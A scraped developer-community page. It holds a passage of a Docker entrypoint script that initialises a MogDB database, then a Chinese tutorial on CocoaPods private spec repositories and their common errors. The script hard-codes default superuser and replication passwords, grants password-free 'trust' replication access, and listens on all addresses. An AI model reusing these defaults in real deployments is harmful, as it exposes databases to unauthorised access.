] && [ 'trust' != "$GS_HOST_AUTH_METHOD" ]; then # The - option suppresses leading tabs but *not* spaces. :) cat >&2 <<-'EOE' Error: Database is uninitialized and superuser password is not specified. You must specify GS_PASSWORD to a non-empty value for the superuser. For example, "-e GS_PASSWORD=password" on "docker run". You may also use "GS_HOST_AUTH_METHOD=trust" to allow all connections without a password. This is *not* recommended. EOE exit 1 fi if [ 'trust' = "$GS_HOST_AUTH_METHOD" ]; then cat >&2 <<-'EOWARN' ************************************************************************* ******* WARNING: GS_HOST_AUTH_METHOD has been set to "trust". This will allow anyone with access to the mogdb port to access your database wit hout a password, even if GS_PASSWORD is set. It is not recommended to use GS_HOST_AUTH_METHOD=trust. Replace it with "-e GS_PASSWORD=password" instead to set a password in "docker run". ************************************************************************* ******* EOWARN fi } # usage: docker_process_init_files [file [file [...]]] # ie: docker_process_init_files /always-initdb.d/* # process initializer files, based on file extensions and permissions docker_process_init_files() { # gsql here for backwards compatiblilty "${gsql[@]}" gsql=( docker_process_sql ) echo local f for f; do case "$f" in *.sh) if [ -x "$f" ]; then echo "$0: running $f" "$f" else echo "$0: sourcing $f" . "$f" fi ;; *.sql) echo "$0: running $f"; docker_process_sql -f "$f"; echo ;; *.sql.gz) echo "$0: running $f"; gunzip -c "$f" | docker_process_sql; ech o ;; *.sql.xz) echo "$0: running $f"; xzcat "$f" | docker_process_sql; echo ;; *) echo "$0: ignoring $f" ;; esac echo done } # Execute sql script, passed via stdin (or -f flag of pqsl) # usage: docker_process_sql [gsql-cli-args] # ie: docker_process_sql --dbname=mydb <<<'INSERT ...' # ie: docker_process_sql -f my-file.sql # ie: docker_process_sql <my-file.sql # SQL运行传入 docker_process_sql() { local query_runner=( gsql -v ON_ERROR_STOP=1 --username "$GS_USER" --dbname postgres) echo "Execute SQL: ${query_runner[@]} $@" "${query_runner[@]}" "$@" } # create initial database # uses environment variables for input: GS_DB # 创建DB docker_setup_db() { docker_process_sql --set passwd="$GS_PASSWORD" <<-'EOSQL' create user mogdb with login password :"passwd" ; CREATE DATABASE mogdb; CREATE DATABASE mogila; grant all privileges to mogdb; ALTER USER mogdb MONADMIN; EOSQL } # 创建用户 docker_setup_user() { if [ -n "$GS_USERNAME" ]; then GS_DB= docker_process_sql --set passwd="$GS_PASSWORD" --set user="$GS_USERNAME" <<-'EOSQL' create user :"user" with login password :"passwd" ; EOSQL else echo " default user is mogdb" fi } #创建复制用户 docker_setup_rep_user() { if [ -n "$SERVER_MODE" ] && [ "$SERVER_MODE" = "primary" ]; then GS_DB= docker_process_sql --set passwd="RepUser@2020" --set user="repuser" <<-'E OSQL' create user :"user" SYSADMIN REPLICATION password :"passwd" ; EOSQL else echo " default no repuser created" fi } # Loads various settings that are used elsewhere in the script # This should be called before any other functions docker_setup_env() { export GS_USER=omm file_env 'GS_PASSWORD' 'Enmo@123' # file_env 'GS_USER' 'omm' file_env 'GS_DB' "$GS_USER" file_env 'POSTGRES_INITDB_ARGS' # default authentication method is md5 : "${GS_HOST_AUTH_METHOD:=md5}" declare -g DATABASE_ALREADY_EXISTS # look specifically for OG_VERSION, as it is expected in the DB dir if [ -s "$PGDATA/PG_VERSION" ]; then DATABASE_ALREADY_EXISTS='true' fi } # append GS_HOST_AUTH_METHOD to pg_hba.conf for "host" connections # 更添加hba条目 mogdb_setup_hba_conf() { { echo if [ 'trust' = "$GS_HOST_AUTH_METHOD" ]; then echo '# warning trust is enabled for all connections' fi echo "host all all 0.0.0.0/0 $GS_HOST_AUTH_METHOD" echo "host replication mogdb 0.0.0.0/0 md5" if [ -n "$SERVER_MODE" ]; then echo "host replication repuser $OG_SUBNET trust" fi } >> "$PGDATA/pg_hba.conf" } # append parameter to postgres.conf for connections # 配置文件定制 mogdb_setup_postgresql_conf() { { echo if [ -n "$GS_PORT" ]; then echo "password_encryption_type = 1" echo "port = $GS_PORT" echo "wal_level = logical" else echo '# use default port 5432' echo "password_encryption_type = 1" echo "wal_level = logical" fi if [ -n "$SERVER_MODE" ]; then echo "listen_addresses = '0.0.0.0'" echo "most_available_sync = on" echo "remote_read_mode = non_authentication" echo "pgxc_node_name = '$NODE_NAME'" # echo "application_name = '$NODE_NAME'" if [ "$SERVER_MODE" = "primary" ]; then echo "max_connections = 100" else echo "max_connections = 100" fi echo -e "$REPL_CONN_INFO" if [ -n "$SYNCHRONOUS_STANDBY_NAMES" ]; then echo "synchronous_standby_names=$SYNCHRONOUS_STANDBY_NAMES" fi else echo "listen_addresses = '*'" fi if [ -n "$OTHER_PG_CONF" ]; then echo -e "$OTHER_PG_CONF" fi } >> "$PGDATA/postgresql.conf" } mogdb_setup_mot_conf() { echo "enable_numa = false" >> "$PGDATA/mot.conf" } # start socket-only postgresql server for setting up or running scripts # all arguments will be passed along as arguments to `postgres` (via pg_ctl) # 数据库启动 docker_temp_server_start() { if [ "$1" = 'mogdb' ]; then shift fi # internal start of server in order to allow setup using gsql client # does not listen on external TCP/IP and waits until start finishes set -- "$@" -c listen_addresses='127.0.0.1' -p "${PGPORT:-5432}" PGUSER="${PGUSER:-$GS_USER}" \ gs_ctl -D "$PGDATA" \ -o "$(printf '%q ' "$@")" \ -w start } # stop postgresql server after done setting up user and running scripts # 数据库停止 docker_temp_server_stop() { PGUSER="${PGUSER:-postgres}" \ gs_ctl -D "$PGDATA" -m fast -w stop } docker_slave_full_backup() { gs_ctl build -D "$PGDATA" -b full } # check arguments for an option that would cause mogdb to stop # return true if there is one # 数据库插件安装 docker_setup_plugin(){ GS_DB= docker_process_sql <<-'EOSQL' create extension dblink; create extension orafce; create extension pg_bulkload; create extension pg_prewarm; create extension pg_repack; create extension pg_trgm; EOSQL } docker_setup_compat_tools(){ cd /home/omm/compat-tools docker_process_sql <<-'EOSQL' \o /home/omm/compat-tools.log; \i runMe.sql; -- update pg_database set datallowconn = TRUE where datname = 'template0'; -- \c template0 -- \i runMe.sql; -- update pg_database set datallowconn = FALSE where datname = 'template0'; EOSQL } # moglia安装 docker_setup_mogila(){ echo "GS_DB = $GS_DB" cd /home/omm/mogila-v1.0.0 docker_process_sql --dbname mogila <<-'EOSQL' \o /home/omm/mogila.log; \i mogila-insert-data.sql; EOSQL } # wal2json测试 docker_setup_slot() { docker_process_sql <<-'EOSQL' select * from pg_create_logical_replication_slot('wal2json', 'wal2json'); create table mogdb.test (id int primary key, name varchar2(20)); insert into mogdb.test values(1,'yun'); insert into mogdb.test values(2,'he'); insert into mogdb.test values(3,'enmo'); ALTER TABLE mogdb.test REPLICA IDENTITY FULL; EOSQL } # 帮助 _mogdb_want_help() { local arg count=1 for arg; do case "$arg" in # postgres --help | grep 'then exit' # leaving out -C on purpose since it always fails and is unhelpful: # postgres: could not access the server configuration file "/var/lib/post gresql/data/postgresql.conf": No such file or directory -'?'|--help|--describe-config|-V|--version) return 0 ;; esac if [ "$arg" == "-M" ]; then SERVER_MODE=${@:$count+1:1} echo "MogDB DB SERVER_MODE = $SERVER_MODE" shift fi count=$[$count + 1] done return 1 } # 执行函数主题,从上到下。 _main() { # if first arg looks like a flag, assume we want to run postgres server if [ "${1:0:1}" = '-' ]; then set -- mogdb "$@" fi if [ "$1" = 'mogdb' ] && ! _mogdb_want_help "$@"; then docker_setup_env # setup data directories and permissions (when run as root) docker_create_db_directories if [ "$(id -u)" = '0' ]; then # then restart script as postgres user exec gosu omm "$BASH_SOURCE" "$@" fi # only run initialization on an empty data directory if [ -z "$DATABASE_ALREADY_EXISTS" ]; then docker_verify_minimum_env # check dir permissions to reduce likelihood of half-initialized database ls /docker-entrypoint-initdb.d/ > /dev/null docker_init_database_dir mogdb_setup_hba_conf mogdb_setup_postgresql_conf mogdb_setup_mot_conf # PGPASSWORD is required for gsql when authentication is required for 'lo cal' connections via pg_hba.conf and is otherwise harmless # e.g. when '--auth=md5' or '--auth-local=md5' is used in POSTGRES_INITDB _ARGS export PGPASSWORD="${PGPASSWORD:-$GS_PASSWORD}" docker_temp_server_start "$@" if [ -z "$SERVER_MODE" ] || [ "$SERVER_MODE" = "primary" ]; then docker_setup_user docker_setup_rep_user docker_setup_plugin docker_setup_compat_tools docker_setup_db docker_setup_mogila docker_setup_slot docker_process_init_files /docker-entrypoint-initdb.d/* fi if [ -n "$SERVER_MODE" ] && [ "$SERVER_MODE" != "primary" ]; then docker_slave_full_backup fi docker_temp_server_stop unset PGPASSWORD echo echo 'MogDB init process complete; ready for start up.' echo else echo echo 'MogDB Database directory appears to contain a database; Skipping in itialization' echo fi fi exec "$@" } if ! _is_sourced; then _main "$@" fi
文章
容器
2023-01-29
ios 组件化之Cocoapods私有库详解以及问题解决方案
如何制作私有仓库在做组件化操作之前有个必须的操作,那就是如何制作私有仓库,以及私有仓库之间的引用问题。私有仓库 => 私有仓库 => 私有组件1、创建远端Spec仓库该仓库的目的作用就是存储私有库spec索引2、创建本地索引库并和远程索引库进行关联本地添加spec仓库pod repo add [Spec仓库名] [Spec仓库地址]例如:pod repo add PrivatePod git@github.com:xxxx/PrivatePod.git查看pod repo listPrivatePod - Type: git (master) - URL: git@github.com:xxxx/PrivatePod.git - Path: /Users/aba/.cocoapods/repos/PrivatePod移除本地索引PrivatePodpod repo remove PrivatePod3、提交私有组件指定到组件目录cd 组件文件路径添加标签git tag -a 0.0.1 -m 'release 0.0.1'上传至远端git push origin --tags提交索引文件至远程索引库pod repo push [Spec仓库名] [私有库索引文件名(.podspec)]例如:pod repo push PrivatePod blockchain-ios.podspec --allow-warnings忽略警告在后面添加--verbose --allow-warnings如果添加第三方库并包含静态包时需使用--use-libraries采用CTMediator组件化时刻,Swift发布组件需带上--use-modular-headers例如:pod repo push PrivatePod KJCategories.podspec --verbose --allow-warnings --use-libraries --use-modular-headersPodspec参数说明--help 显示指定命令的帮助横幅 --verbose 显示更多调试信息 --silent 显示所有信息 --allow-warnings 忽略警告 --use-libraries 使用静态库安装 --use-modular-headers OC与Swift混编必须添加 --skip-import-validation 跳过验证pod是否可以导入 --skip-tests 在验证期间跳过构建和运行测试 --use-json 在将其推送到repo之前,将podspec转换为JSON --swift-version=VERSION 在标记规范时应该使用的SWIFT_VERSION.这优先于规范中指定的Swift版本或. Swift版本文成功之后更新索引pod setup到此私有Pod与制作就差不多完成Pod私有组件使用第一种:链接地址使用pod 'blockchain-ios',:git => 'https://github.com/xxxx/blockchain-ios'第二种:更换Source源source 'git@github.com:xxxx/PrivatePod.git'Podfile文件内容大致如下:# Uncomment the next line to define a global platform for your project source 'https://github.com/CocoaPods/Specs.git' source 'git@github.com:xxxx/PrivatePod.git' # 私有索引 platform :ios, '10.0' # 这个版本为所有CocoaPods里面`s.ios.deployment_target`支持的最低版本 inhibit_all_warnings! use_frameworks! ## 远端私有组件 def private_pods ## 私有组件库 pod 'KJCategories' end ## 本地组件 def modules_pods ## 发现模块 pod 'WMDiscover', :path => '../WMModules/WMDiscover' ## 我的模块 pod 'WMMine', :path => '../WMModules/WMMine' ## 钱包首页 pod 'WMWallet', :path => '../WMModules/WMWallet' ## DApp pod 'WMDApp', :path => '../WMModules/WMDApp' end target 'MainProject_Example' do ## Root管理 pod 'RootManager', :path => '../RootManager' ## 主tabBar pod 'AppMain', :path => '../AppMain' ## 路由组件 pod 'Mediator', :path => '../Mediator' ## 公共部分 pod 'FeatBox', :path => '../FeatBox' ## 数据库部分 pod 'Database', :path => '../Database' private_pods modules_pods end target 'MainProject_Tests' do inherit! :search_paths endPod快捷上传至私有库正常我们上传至私有库都是通过pod repo push [Spec仓库名] [私有库索引文件名(.podspec)]由于上述方式比较费时间,可以采用如下方式:确保 podspec 文件正确,pod lib lint --allow-warnings(如果确信podspec没问题,亦可省略该步骤)克隆私有仓库至本地,git clone 仓库地址将要上传库 podspec 文件按正确格式要求放入私有仓库Ex: 版本0.0.2则文件夹名命名为0.0.2然后正常上传提交代码至远端仓库添加本地标签,git tag -a 0.0.1 -m 'release 0.0.1'上传标签至远端,git push origin --tags最后更新本地私有库 repo 索引,pod repo update PrivatePod大致层级结构如下:常见错误总结1、报错:remote: Support for password authentication was removed on August 13, 2021. Please use a personal access token instead.解决方案:将 KJCategories.podspec 文件的 Source 更换为SSH地址s.source = { :git => 'git@github.com:Condy/KJCategories.git', :tag => s.version.to_s }2、报错:Failed to open TCP connection to github.com:443解决方案:在Safari浏览器打开https://github.com/CocoaPods/Specs.git3、报错:Your configuration specifies to merge with the ref 'refs/heads/master' from the remote, but no such ref was fetched.解决方案:由于[Spec仓库]是个空仓库,需要在里面随便放点东西,例如README.md4、报错:Specs satisfying the KJCategories dependency were found, but they required a higher minimum deployment target.) during validation.原因分析:三方依赖库KJCategories支持的最低版本s.ios.deployment_target = '9.0',而本库的podspec文件中指定的最低支持版本低于该三方依赖库解决方案:将本库的最低支持版本修改至大于或等于三方依赖库最后再附上一个开发加速库KJCategoriesDemo地址 🎷喜欢的老板们就点个星吧,别犹豫了。🌟✌️.
文章
Web App开发  ·  存储  ·  网络协议  ·  网络安全  ·  开发工具  ·  Swift  ·  git  ·  iOS开发  ·  索引  ·  Perl
2023-01-17
...
跳转至:
阿里云视频云
125 人关注 | 148 讨论 | 511 内容
+ 订阅
  • 无处不在的边缘网络感知
  • 协同存储,为边缘计算创造更大价值
  • 阿里云CPaaS通信中台:推进企业更好的数字化体验
查看更多 >
开发与运维
5768 人关注 | 133251 讨论 | 318648 内容
+ 订阅
  • 玩转责任链模式
  • Python版本数据探查的一些方法和Demo
  • 飞天加速计划
查看更多 >
数据库
252935 人关注 | 52043 讨论 | 98893 内容
+ 订阅
  • 飞天加速计划
  • 面试突击:MVCC 和间隙锁有什么区别?
  • python 制作简易西班牙语翻译软件
查看更多 >
安全
1243 人关注 | 24115 讨论 | 85572 内容
+ 订阅
  • 玩转责任链模式
  • 飞天加速计划
  • 飞天加速报告
查看更多 >
人工智能
2865 人关注 | 12304 讨论 | 102364 内容
+ 订阅
  • Python版本数据探查的一些方法和Demo
  • 机器学习实战系列[一]:工业蒸汽量预测(最新版本上篇)含数据探索特征工程等
  • 搜索引擎爬虫的工作原理是什么?底层原理是什么?
查看更多 >